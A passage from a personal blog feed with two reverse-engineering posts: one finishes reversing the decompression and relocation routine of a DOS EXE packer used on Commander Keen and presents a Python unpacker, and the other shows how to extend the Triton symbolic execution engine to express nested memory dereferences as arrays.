<p>We load another 2 bytes and we do some weird arithmetic with it. BX gets 13 of the bits and then gets sign extended, allowing us to look up to 0x2000 bytes back. AH gets 3 bits (from the middle, for some reason), and we check if these are zero. If they aren't, then we skip the jump and get to this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629211345477/Kw2BmP8mv.png" alt="image.png" /></p>
<p>We add 2 to our AH and put it in CL. We can add to our list of branches:</p>
<ul>
<li>1: copy byte across</li>
<li>00: copy 2-5 bytes from up to 255 bytes back in uncompressed</li>
<li>01, next word != XXXXX000XXXXXXXXb, copy 2-9 bytes from up to 8192 bytes back in uncompressed</li>
</ul>
<p>Now the next branch, what happens when AH is 0?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629211482863/7NBvI4iBE.png" alt="image.png" /></p>
<p>We get another byte. If that byte is 0 then we jump to another branch that doesn't loop back, that's our exit code.</p>
<ul>
<li>1: copy byte across</li>
<li>00: copy 2-5 bytes from up to 255 bytes back in uncompressed</li>
<li>01, next word != XXXXX000XXXXXXXXb, copy 2-9 bytes from up to 8192 bytes back in uncompressed</li>
<li>01, next word == XXXXX000XXXXXXXXb, next byte == 0, break</li>
</ul>
<p>What about when our next byte is 1? This is a fun one:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629211599463/vSNOnNwZN.png" alt="image.png" /></p>
<pre><code><span class="hljs-attribute">mov</span>     bx, di
<span class="hljs-attribute">and</span>     di, <span class="hljs-number">0</span>Fh
<span class="hljs-attribute">add</span>     di, <span class="hljs-number">2000</span>h
</code></pre><p>We know DI is our offset pointer for uncompressed data. Here we're saving it in BX, taking just the bottom nybble (masking against 0x0F) and then adding 0x2000.</p>
<pre><code><span class="hljs-attribute">mov</span>     cl, <span class="hljs-number">4</span>
<span class="hljs-attribute">shr</span>     bx, cl
<span class="hljs-attribute">mov</span>     ax, es
<span class="hljs-attribute">add</span>     ax, bx
<span class="hljs-attribute">sub</span>     ax, <span class="hljs-number">200</span>h
<span class="hljs-attribute">mov</span>     es, ax
</code></pre><p>And here's the other half, we scale BX down by 4 bits (so it would make a good segment register), add ES, then subtract 0x200, and finally put it all back in ES.</p>
<p>It looks we're resetting DI and bumping ES forward to compensate, this is something we'd do when we're getting to the end of the segment. For example, if we get to 0000:E123, we'd want to make sure we have more room to write to, so we can easily rewrite this as 0E12:0003.</p>
<p>BUT... when we decompress we can look up to 0x2000 bytes backward, so we probably want DI to be at least 0x2000. We can rephrase 0E12:0003 and 0C12:2003, this gives us more room to grow upward, but also lets us reach back to decompress.</p>
<pre><code><span class="hljs-attribute">mov</span>     bx, si
<span class="hljs-attribute">and</span>     si, <span class="hljs-number">0</span>Fh
<span class="hljs-attribute">shr</span>     bx, cl
<span class="hljs-attribute">mov</span>     ax, ds
<span class="hljs-attribute">add</span>     ax, bx
<span class="hljs-attribute">mov</span>     ds, ax
<span class="hljs-attribute">jmp</span>     loc_<span class="hljs-number">1</span>C<span class="hljs-number">6</span>C<span class="hljs-number">9</span>
</code></pre><p>This is exactly the same thing but with DS:SI. Note that this doesn't get called all the time, only when the compressed code tells us to. That saves on CPU cycles while only costing a few bytes per 3-4KB of packed data, not bad at all.</p>
<ul>
<li>1: copy byte across</li>
<li>00: copy 2-5 bytes from up to 255 bytes back in uncompressed</li>
<li>01, next word != XXXXX000XXXXXXXXb, copy 2-9 bytes from up to 8192 bytes back in uncompressed</li>
<li>01, next word == XXXXX000XXXXXXXXb, next byte == 0, break</li>
<li>01, next word == XXXXX000XXXXXXXXb, next byte == 1, rephrase segment/offset pairs</li>
</ul>
<p>We have one final case and then we're done!</p>
<pre><code><span class="hljs-attribute">mov</span>     cl, al
<span class="hljs-attribute">inc</span>     cx
<span class="hljs-attribute">jmp</span>     short loc_<span class="hljs-number">1</span>C<span class="hljs-number">71</span>B
</code></pre><p>If next byte is 2 or higher then we increment it and use our large BX to look back, letting us copy up to 0x100 bytes:</p>
<ul>
<li>1: copy byte across</li>
<li>00: copy 2-5 bytes from up to 255 bytes back in uncompressed</li>
<li>01, next word != XXXXX000XXXXXXXXb, copy 2-9 bytes from up to 8192 bytes back in uncompressed</li>
<li>01, next word == XXXXX000XXXXXXXXb, next byte == 0, break</li>
<li>01, next word == XXXXX000XXXXXXXXb, next byte == 1, rephrase segment/offset pairs</li>
<li>01, next word == XXXXX000XXXXXXXXb, next byte == 2, copy 3-256 bytes from up to 8192 bytes back in uncompressed</li>
</ul>
<p>And we're done with the decompression! I've rewritten this in python as an unpacker, here's how it looks:</p>
<pre><code><span class="hljs-attribute">while</span> True:
    <span class="hljs-attribute">bit</span> = bitstream.get()
    <span class="hljs-attribute">if</span> bit == <span class="hljs-number">1</span>:
        <span class="hljs-attribute">byte</span>, = input_stream.read(<span class="hljs-number">1</span>)
        <span class="hljs-attribute">output_stream</span>.write(bytes([byte]))
    <span class="hljs-attribute">else</span>:
        <span class="hljs-attribute">bit</span> = bitstream.get()
        <span class="hljs-attribute">if</span> bit == <span class="hljs-number">1</span>:
            <span class="hljs-attribute">lowbyte</span>, highbyte = input_stream.read(<span class="hljs-number">2</span>)
            <span class="hljs-attribute">copy_distance</span> = <span class="hljs-number">0</span>xE<span class="hljs-number">000</span> | ((highbyte &lt;&lt; <span class="hljs-number">5</span>) &amp; <span class="hljs-number">0</span>xFF<span class="hljs-number">00</span>) | lowbyte
            <span class="hljs-attribute">copy_distance</span> = convert_unsigned_to_signed(copy_distance, <span class="hljs-number">0</span>x<span class="hljs-number">10</span>)
            <span class="hljs-attribute">copy_amount</span> = highbyte &amp; <span class="hljs-number">0</span>x<span class="hljs-number">07</span>
            <span class="hljs-attribute">if</span> copy_amount:
                <span class="hljs-attribute">copy_amount</span> += <span class="hljs-number">2</span>
                <span class="hljs-attribute">copy_within_output_stream</span>(output_stream, copy_distance, copy_amount)
            <span class="hljs-attribute">else</span>:
                <span class="hljs-attribute">copy_amount</span>, = input_stream.read(<span class="hljs-number">1</span>)
                <span class="hljs-attribute">if</span> copy_amount == <span class="hljs-number">0</span>:
                    <span class="hljs-attribute">break</span>
                <span class="hljs-attribute">elif</span> copy_amount == <span class="hljs-number">1</span>:
                    <span class="hljs-comment"># segment reshuffle, ignore</span>
                    <span class="hljs-attribute">pass</span>
                <span class="hljs-attribute">else</span>:
                    <span class="hljs-attribute">copy_amount</span> += <span class="hljs-number">1</span>
                    <span class="hljs-attribute">copy_within_output_stream</span>(output_stream, copy_distance, copy_amount)
        <span class="hljs-attribute">else</span>:
            <span class="hljs-attribute">high_bit</span> = bitstream.get()
            <span class="hljs-attribute">low_bit</span> = bitstream.get()
            <span class="hljs-attribute">copy_amount</span> = (high_bit &lt;&lt; <span class="hljs-number">1</span>) + low_bit + <span class="hljs-number">2</span>
            <span class="hljs-attribute">copy_distance</span>, = input_stream.read(<span class="hljs-number">1</span>)
            <span class="hljs-attribute">copy_distance</span> = convert_unsigned_to_signed(<span class="hljs-number">0</span>xFF<span class="hljs-number">00</span> + copy_distance, <span class="hljs-number">0</span>x<span class="hljs-number">10</span>)
            <span class="hljs-attribute">copy_within_output_stream</span>(output_stream, copy_distance, copy_amount)
</code></pre><p>Nice and easy. Let's look at where the break takes us at the end:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629212299706/Q2690h_R_.png" alt="image.png" /></p>
<pre><code><span class="hljs-keyword">push</span>    cs
<span class="hljs-keyword">pop</span>     ds
</code></pre><p>We're done with the code, now we're looking at data from this segment</p>
<pre><code><span class="hljs-attribute">mov</span>     si, <span class="hljs-number">158</span>h
</code></pre><p>That's pretty weird. DS is in this segment though, so what does DS:158 look like?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629212427769/YknCMGEMn.png" alt="image.png" /></p>
<p>Ahhhh, so we're pulling data out from after the end of the loader. Let's see what we do with it:</p>
<pre><code>pop     bx
<span class="hljs-keyword">add</span>     bx, <span class="hljs-number">10</span>h
</code></pre><p>We haven't seen the stack in a while, have we? Right at the start we pushed ES and I said two things about ES:</p>
<ol>
<li>It points to the PSP segment</li>
<li>The PSP is 0x100 bytes long, or in other words, CS is 0x10 bytes greater</li>
</ol>
<p>So we're reconstructing the original CS that we got loaded into based on the ES that we pushed at the start.</p>
<pre><code>mov     dx, bx
<span class="hljs-keyword">xor</span>     di, di
</code></pre><p>DX stores old CS? DI holds 0? What could be coming? We have some branches coming up so let's see what happens:</p>
<pre><code><span class="hljs-attribute">loc_1C769</span>:
<span class="hljs-attribute">lodsb</span>
<span class="hljs-attribute">or</span>      al, al
<span class="hljs-attribute">jz</span>      short loc_<span class="hljs-number">1</span>C<span class="hljs-number">784</span>
</code></pre><p>We load a byte and jump if it's zero. Let's see what happens when it isn't zero:</p>
<pre><code><span class="hljs-string">mov</span>     <span class="hljs-string">ah,</span> <span class="hljs-number">0</span>
<span class="hljs-attr">loc_1C770:</span>
<span class="hljs-string">add</span>     <span class="hljs-string">di,</span> <span class="hljs-string">ax</span>
</code></pre><p>We set DI to 0 at the start, so we're advancing DI by up to 0xFF (from the byte we loaded)</p>
<pre><code><span class="hljs-attribute">mov</span>     ax, di
<span class="hljs-attribute">and</span>     di, <span class="hljs-number">0</span>Fh
</code></pre><p>We save DI in AX, and just keep the bottom nybble</p>
<pre><code><span class="hljs-attribute">mov</span>     cl, <span class="hljs-number">4</span>
<span class="hljs-attribute">shr</span>     ax, cl
</code></pre><p>We shift AX down, this looks like something we'd add to a segment register</p>
<pre><code><span class="hljs-keyword">add</span>     dx, ax
mov     es, dx
</code></pre><p>DX was our old CS from above, so we've added our new offset and store it in ES. In other words, we had DX:DI = CS:0000, we added a byte (let's say 0C66:0028), we stole the high bits from DI and put them into DX (e.g. 0C68:0008), then we put DX into ES.</p>
<pre><code><span class="hljs-attribute">add</span>     es:[di], bx
<span class="hljs-attribute">jmp</span>     short loc_<span class="hljs-number">1</span>C<span class="hljs-number">769</span>
</code></pre><p>BX still points to our original CS, and we're adding it to a value at ES:DI. This looks like what we'd do if we were applying relocations... and an EXE would have a relocation table that would need to be applied once we unpacked the EXE...</p>
<p>So we have branch 1:</p>
<ul>
<li>byte &gt; 0: advance DX:DI and apply relocation</li>
</ul>
<p>The next branch, when the byte == 0:</p>
<pre><code><span class="hljs-attribute">loc_1C784</span>:
<span class="hljs-attribute">lodsw</span>
<span class="hljs-attribute">or</span>      ax, ax
<span class="hljs-attribute">jnz</span>     short loc_<span class="hljs-number">1</span>C<span class="hljs-number">791</span>
</code></pre><p>We load a word, what happens if it's 0?</p>
<pre><code><span class="hljs-attribute">add</span>     dx, <span class="hljs-number">0</span>FFFh
<span class="hljs-attribute">mov</span>     es, dx
<span class="hljs-attribute">jmp</span>     short loc_<span class="hljs-number">1</span>C<span class="hljs-number">769</span>
</code></pre><p>We advance DX by a lot (0xFFF) and go back to the start.</p>
<ul>
<li>byte &gt; 0: advance DX:DI and apply relocation</li>
<li>byte == 0 and next word == 0: advance DX by 0xFFF</li>
</ul>
<p>What about when the word is &gt;1?</p>
<pre><code><span class="hljs-attr">loc_1C791:</span>
<span class="hljs-string">cmp</span>     <span class="hljs-string">ax,</span> <span class="hljs-number">1</span>
<span class="hljs-string">jnz</span>     <span class="hljs-string">short</span> <span class="hljs-string">loc_1C770</span>

<span class="hljs-attr">loc_1C770:</span>
<span class="hljs-string">...</span>
</code></pre><p>We've been here before, but we're advancing by a whole word, not just a byte.</p>
<ul>
<li>byte &gt; 0: advance DX:DI and apply relocation</li>
<li>byte == 0 and next word == 0: advance DX by 0xFFF</li>
<li>byte == 0 and next word  &gt; 1: advance DX:DI and apply relocation</li>
</ul>
<p>And the last case is the end, so we'll hit this once we've applied all the relocations. Before we do this though, let's look at how the python for this works, given we aren't trying apply relocations, but rather we want to rebuild the relocation table for the new EXE we're going to make:</p>
<pre><code><span class="hljs-attribute">while</span> True:
    <span class="hljs-attribute">first_byte</span>, = input_stream.read(<span class="hljs-number">1</span>)
    <span class="hljs-attribute">if</span> first_byte &gt; <span class="hljs-number">0</span>:
        <span class="hljs-attribute">relocation</span> += first_byte
        <span class="hljs-attribute">relocations</span>.append(relocation)
    <span class="hljs-attribute">else</span>:
        <span class="hljs-attribute">lowbyte</span>, highbyte = input_stream.read(<span class="hljs-number">2</span>)
        <span class="hljs-attribute">total</span> = (highbyte &lt;&lt; <span class="hljs-number">0</span>x<span class="hljs-number">08</span>) + lowbyte
        <span class="hljs-attribute">if</span> total == <span class="hljs-number">0</span>:
            <span class="hljs-attribute">relocation</span> += <span class="hljs-number">0</span>xFFF
        <span class="hljs-attribute">elif</span> total == <span class="hljs-number">1</span>:
            <span class="hljs-attribute">break</span>
        <span class="hljs-attribute">else</span>:
            <span class="hljs-attribute">relocation</span> += total
            <span class="hljs-attribute">relocations</span>.append(relocation)
</code></pre><p>Now we can break apart the final section:</p>
<pre><code><span class="hljs-attribute">mov</span>     ax, bx
</code></pre><p>This is the CS that we got loaded to, now stored in AX</p>
<pre><code><span class="hljs-attribute">mov</span>     di, word ptr unk_<span class="hljs-number">1</span>C<span class="hljs-number">664</span>
<span class="hljs-attribute">mov</span>     si, word ptr unk_<span class="hljs-number">1</span>C<span class="hljs-number">666</span>
<span class="hljs-attribute">add</span>     si, ax
</code></pre><p>We can see further down that these get loaded into SS:SP so we can rename these vars accordingly. We relocate SI (the new SS) by CS to bump it up</p>
<pre><code><span class="hljs-attribute">add</span>     word ptr unk_<span class="hljs-number">1</span>C<span class="hljs-number">662</span>, ax
</code></pre><p>This var looks like a segment register</p>
<pre><code><span class="hljs-function"><span class="hljs-keyword">sub</span>     <span class="hljs-title">ax</span>, 10<span class="hljs-title">h</span>
<span class="hljs-title">mov</span>     <span class="hljs-title">ds</span>, <span class="hljs-title">ax</span>
<span class="hljs-title">mov</span>     <span class="hljs-title">es</span>, <span class="hljs-title">ax</span></span>
</code></pre><p>AX now points to the PSP and we load this into DS and ES</p>
<pre><code><span class="hljs-keyword">xor</span>     bx, bx
</code></pre><p>BX = 0...</p>
<pre><code><span class="hljs-attribute">cli</span>
mov     ss, si
mov     sp, di
sti
</code></pre><p>Nice to stop interrupts while we're messing with the stack</p>
<pre><code><span class="hljs-selector-tag">jmp</span>     <span class="hljs-selector-tag">dword</span> <span class="hljs-selector-tag">ptr</span> <span class="hljs-selector-tag">cs</span>:<span class="hljs-selector-attr">[bx]</span>
</code></pre><p>We're jumping to the far pointer at CS:0000. What's there?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629213625444/tajKEvnsP.png" alt="image.png" /></p>
<p>Ahhhhh, so this is the original CS:IP that the packed EXE goes into (which is why we had to relocate the segment stored there). Full notes:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629213666510/ojX8wOmQJ.png" alt="image.png" /></p>
<p>This was a lot of fun to reverse, fun to write up, and also quite enjoyable putting an unpacker together. You can find the <a target="_blank" href="https://github.com/samrussell/rizzle">unpacker here</a>, it'll give you a decompressed copy of commander keen and rebuild the EXE header + relocations for you.</p>
<p>Happy reversing dudes</p>
]]></content:encoded></item><item><title><![CDATA[Adding array-based memory access to Triton]]></title><description><![CDATA[Demo code for this article: https://github.com/samrussell/tritondemos/blob/main/tritonbasic2.py
In my previous post, we looked at a basic intro to binary analysis with Triton. In short, it allows us to take something like this:
push ebp
mov ebp, esp
...]]></description><link>https://www.lodsb.com/adding-array-based-memory-access-to-triton</link><guid isPermaLink="true">https://www.lodsb.com/adding-array-based-memory-access-to-triton</guid><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Sat, 29 May 2021 06:03:00 GMT</pubDate><content:encoded><![CDATA[<p>Demo code for this article: https://github.com/samrussell/tritondemos/blob/main/tritonbasic2.py</p>
<p>In my <a target="_blank" href="https://www.lodsb.com/reversing-x86-apps-with-triton">previous post</a>, we looked at a basic intro to binary analysis with <a target="_blank" href="https://triton.quarkslab.com/">Triton</a>. In short, it allows us to take something like this:</p>
<pre><code><span class="hljs-attribute">push</span> ebp
<span class="hljs-attribute">mov</span> ebp, esp

<span class="hljs-attribute">mov</span> eax,<span class="hljs-meta"> [ebp+8]</span>
<span class="hljs-attribute">mov</span> ecx,<span class="hljs-meta"> [ebp+12]</span>
<span class="hljs-attribute">xor</span> edx, edx
<span class="hljs-attribute">div</span> ecx

<span class="hljs-attribute">mov</span> ecx,<span class="hljs-meta"> [ebp+16]</span>
<span class="hljs-attribute">add</span> eax, ecx
<span class="hljs-attribute">add</span> eax, edx

<span class="hljs-attribute">pop</span> ebp
<span class="hljs-attribute">add</span> esp, <span class="hljs-number">8</span>
<span class="hljs-attribute">ret</span>
</code></pre><p>and turn it into this</p>
<pre><code>(arg_04 / arg_08) + (arg_04 % arg_08) + arg_0C
</code></pre><p>Fun stuff, huh. There is one thing that interests me that Triton wasn't designed to do, and that is treating symbols as arrays. Let's look at an example:</p>
<pre><code><span class="hljs-selector-tag">mov</span> <span class="hljs-selector-tag">eax</span>, <span class="hljs-selector-attr">[esp]</span>
<span class="hljs-selector-tag">mov</span> <span class="hljs-selector-tag">edx</span>, <span class="hljs-selector-attr">[eax]</span>
<span class="hljs-selector-tag">mov</span> <span class="hljs-selector-tag">eax</span>, <span class="hljs-selector-attr">[edx]</span>
<span class="hljs-selector-tag">mov</span> <span class="hljs-selector-tag">eax</span>, <span class="hljs-selector-attr">[eax]</span>
<span class="hljs-selector-tag">ret</span>
</code></pre><p>We've used a bunch of registers, but it's basically a lookup through a multi-level array. What happens when we put it through Triton? We get this:</p>
<pre><code><span class="hljs-attr">Emulating 0x401000:</span> <span class="hljs-string">mov</span> <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">esp</span>]
<span class="hljs-attr">Emulating 0x401003:</span> <span class="hljs-string">mov</span> <span class="hljs-string">edx,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">eax</span>]
<span class="hljs-attr">Emulating 0x401005:</span> <span class="hljs-string">mov</span> <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">edx</span>]
<span class="hljs-attr">Emulating 0x401007:</span> <span class="hljs-string">mov</span> <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">eax</span>]
<span class="hljs-attr">Emulating 0x401009:</span> <span class="hljs-string">ret</span>
<span class="hljs-attr">Instructions executed:</span> <span class="hljs-number">5</span>
<span class="hljs-attr">Expression tree:</span>
{<span class="hljs-attr">0:</span> <span class="hljs-string">ref_0</span> <span class="hljs-string">=</span> <span class="hljs-string">esp</span>,
 <span class="hljs-attr">3:</span> <span class="hljs-string">ref_3</span> <span class="hljs-string">=</span> <span class="hljs-string">((((0x0)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-comment"># MOV operation - 0x401003: mov edx, dword ptr [eax],</span>
 <span class="hljs-attr">7:</span> <span class="hljs-string">ref_7</span> <span class="hljs-string">=</span> <span class="hljs-string">((((0x0)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-comment"># MOV operation - 0x401007: mov eax, dword ptr [eax],</span>
 <span class="hljs-attr">9:</span> <span class="hljs-string">ref_9</span> <span class="hljs-string">=</span> <span class="hljs-string">((((0x0)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-comment"># Program Counter - 0x401009: ret,</span>
 <span class="hljs-attr">10:</span> <span class="hljs-string">ref_10</span> <span class="hljs-string">=</span> <span class="hljs-string">((ref_0</span> <span class="hljs-string">+</span> <span class="hljs-number">0x4</span><span class="hljs-string">)</span> <span class="hljs-string">&amp;</span> <span class="hljs-number">0xffffffff</span><span class="hljs-string">)</span> <span class="hljs-comment"># Stack alignment - 0x401009: ret}</span>
<span class="hljs-attr">Final state of eax:</span>
<span class="hljs-string">((((0x0)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span>
<span class="hljs-attr">Final state of ebp:</span>
<span class="hljs-number">0x0</span>
<span class="hljs-attr">Final state of esp:</span>
<span class="hljs-string">((esp</span> <span class="hljs-string">+</span> <span class="hljs-number">0x4</span><span class="hljs-string">)</span> <span class="hljs-string">&amp;</span> <span class="hljs-number">0xffffffff</span><span class="hljs-string">)</span>
</code></pre><p>Huh. <code>eax</code> = 0. You can see it handles us setting a symbol name into <code>esp</code>, but it when we dereference a symbolic register it just defaults to 0. The lovely people on the Triton project tell me they've attempted to implement this in the engine, but this is still a work-in-progress. There's nothing to stop us shoehorning something in by ourselves though...</p>
<p>Remember our emulation loop looks like this:</p>
<pre><code>    <span class="hljs-keyword">while</span> pc:
        <span class="hljs-comment"># Fetch opcode</span>
        opcode = Triton.getConcreteMemoryAreaValue(pc, <span class="hljs-number">16</span>)

        <span class="hljs-comment"># Create the Triton instruction</span>
        instruction = Instruction()
        instruction.setOpcode(opcode)
        instruction.setAddress(pc)

        <span class="hljs-comment"># Process</span>
        Triton.processing(instruction)
        count += <span class="hljs-number">1</span>

        <span class="hljs-keyword">print</span>(<span class="hljs-string">"Emulating %s"</span> % (instruction))

        <span class="hljs-comment">#print instruction</span>

        <span class="hljs-keyword">if</span> instruction.getType() == OPCODE.X86.RET:
            <span class="hljs-keyword">break</span>

        <span class="hljs-comment"># Next</span>
        pc = Triton.getConcreteRegisterValue(Triton.registers.eip)
</code></pre><p>Once we've called <code>Triton.processing()</code>, we're totally able to access both the details of the <code>Instruction</code> and the state of the <code>TritonContext</code> engine. Here's a quick and dirty way to handle use this to handle basic dereferences:</p>
<pre><code>        <span class="hljs-keyword">if</span> instruction.isMemoryRead():
            read_register, read_ast_node = instruction.getReadRegisters()[0]
            written_register, write_ast_node = instruction.getWrittenRegisters()[0]
            <span class="hljs-keyword">if</span> read_ast_node.getType() == AST_NODE.REFERENCE:
                expression = read_ast_node.getSymbolicExpression()
                variable = expression.getAst().getSymbolicVariable()
                <span class="hljs-built_in">alias</span> = variable.getAlias()
                newalias = <span class="hljs-string">"(%s)[0]"</span> % <span class="hljs-built_in">alias</span>
                Triton.symbolizeRegister(written_register, newalias)
</code></pre><p>This works fine with simple derefs like <code>mov eax, [esp]</code>, and it's really up to us how we want to express these arrays that we're creating. Here's the end result:</p>
<pre><code><span class="hljs-string">$</span> <span class="hljs-string">python3</span> <span class="hljs-string">tritonbasic2.py</span>
<span class="hljs-attr">Emulating 0x401000:</span> <span class="hljs-string">mov</span> <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">esp</span>]
<span class="hljs-attr">Emulating 0x401003:</span> <span class="hljs-string">mov</span> <span class="hljs-string">edx,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">eax</span>]
<span class="hljs-attr">Emulating 0x401005:</span> <span class="hljs-string">mov</span> <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">edx</span>]
<span class="hljs-attr">Emulating 0x401007:</span> <span class="hljs-string">mov</span> <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">eax</span>]
<span class="hljs-attr">Emulating 0x401009:</span> <span class="hljs-string">ret</span>
<span class="hljs-attr">Instructions executed:</span> <span class="hljs-number">5</span>
<span class="hljs-attr">Expression tree:</span>
{<span class="hljs-attr">6:</span> <span class="hljs-string">ref_6</span> <span class="hljs-string">=</span> <span class="hljs-string">((esp)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>],
 <span class="hljs-attr">12:</span> <span class="hljs-string">ref_12</span> <span class="hljs-string">=</span> <span class="hljs-string">((((esp)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>],
 <span class="hljs-attr">13:</span> <span class="hljs-string">ref_13</span> <span class="hljs-string">=</span> <span class="hljs-string">((((0x0)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-comment"># Program Counter - 0x401009: ret,</span>
 <span class="hljs-attr">15:</span> <span class="hljs-string">ref_15</span> <span class="hljs-string">=</span> <span class="hljs-string">(esp)</span>[<span class="hljs-number">0</span>]}
<span class="hljs-attr">Final state of eax:</span>
<span class="hljs-string">((((esp)[0])[0])[0])[0]</span>
<span class="hljs-attr">Final state of ebp:</span>
<span class="hljs-number">0x0</span>
<span class="hljs-attr">Final state of esp:</span>
<span class="hljs-string">(esp)[0]</span>
</code></pre><p>Some cool things about this:</p>
<ul>
<li>Triton is smart enough to figure out when we've overwritten something. You'll note there are gaps in the reference numbers, this is because we override things (e.g. reusing <code>eax</code>, incrementing <code>eip</code>)</li>
<li>It only took a few lines of code but we can now handle nested dereferences without any real effort</li>
</ul>
<p>Things to watch out for:</p>
<ul>
<li>This dereferencing will work with <code>mov</code> instructions, but these aren't the only instructions that access memory (consider <code>pop</code> and <code>lodsb</code> for starters). Some of these other instructions will modify the pointer register, and we need to also handle incrementing/decrementing this and make sure we have some way of handling this</li>
<li>If we alter the register that we're dereferencing we need to find a way to handle this too.</li>
</ul>
<p>Let's consider some code like this:</p>
<pre><code><span class="hljs-selector-tag">mov</span> <span class="hljs-selector-tag">eax</span>, <span class="hljs-selector-attr">[esp]</span>
<span class="hljs-selector-tag">mov</span> <span class="hljs-selector-tag">edx</span>, <span class="hljs-selector-attr">[eax]</span>
<span class="hljs-selector-tag">mov</span> <span class="hljs-selector-tag">eax</span>, <span class="hljs-selector-attr">[edx+8]</span>
<span class="hljs-selector-tag">mov</span> <span class="hljs-selector-tag">eax</span>, <span class="hljs-selector-attr">[eax]</span>
<span class="hljs-selector-tag">mov</span> <span class="hljs-selector-tag">ebx</span>, <span class="hljs-selector-attr">[eax+4]</span>
<span class="hljs-selector-tag">mov</span> <span class="hljs-selector-tag">ecx</span>, <span class="hljs-selector-attr">[eax-4]</span>
<span class="hljs-selector-tag">ret</span>
</code></pre><p>We get this for output:</p>
<pre><code><span class="hljs-string">$</span> <span class="hljs-string">python3</span> <span class="hljs-string">tritonbasic2.py</span>
<span class="hljs-attr">Emulating 0x401000:</span> <span class="hljs-string">mov</span> <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">esp</span>]
<span class="hljs-attr">Emulating 0x401003:</span> <span class="hljs-string">mov</span> <span class="hljs-string">edx,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">eax</span>]
<span class="hljs-attr">Emulating 0x401005:</span> <span class="hljs-string">mov</span> <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">edx</span> <span class="hljs-string">+</span> <span class="hljs-number">8</span>]
<span class="hljs-attr">Emulating 0x401008:</span> <span class="hljs-string">mov</span> <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">eax</span>]
<span class="hljs-attr">Emulating 0x40100a:</span> <span class="hljs-string">mov</span> <span class="hljs-string">ebx,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">eax</span> <span class="hljs-string">+</span> <span class="hljs-number">4</span>]
<span class="hljs-attr">Emulating 0x40100d:</span> <span class="hljs-string">mov</span> <span class="hljs-string">ecx,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">eax</span> <span class="hljs-bullet">-</span> <span class="hljs-number">4</span>]
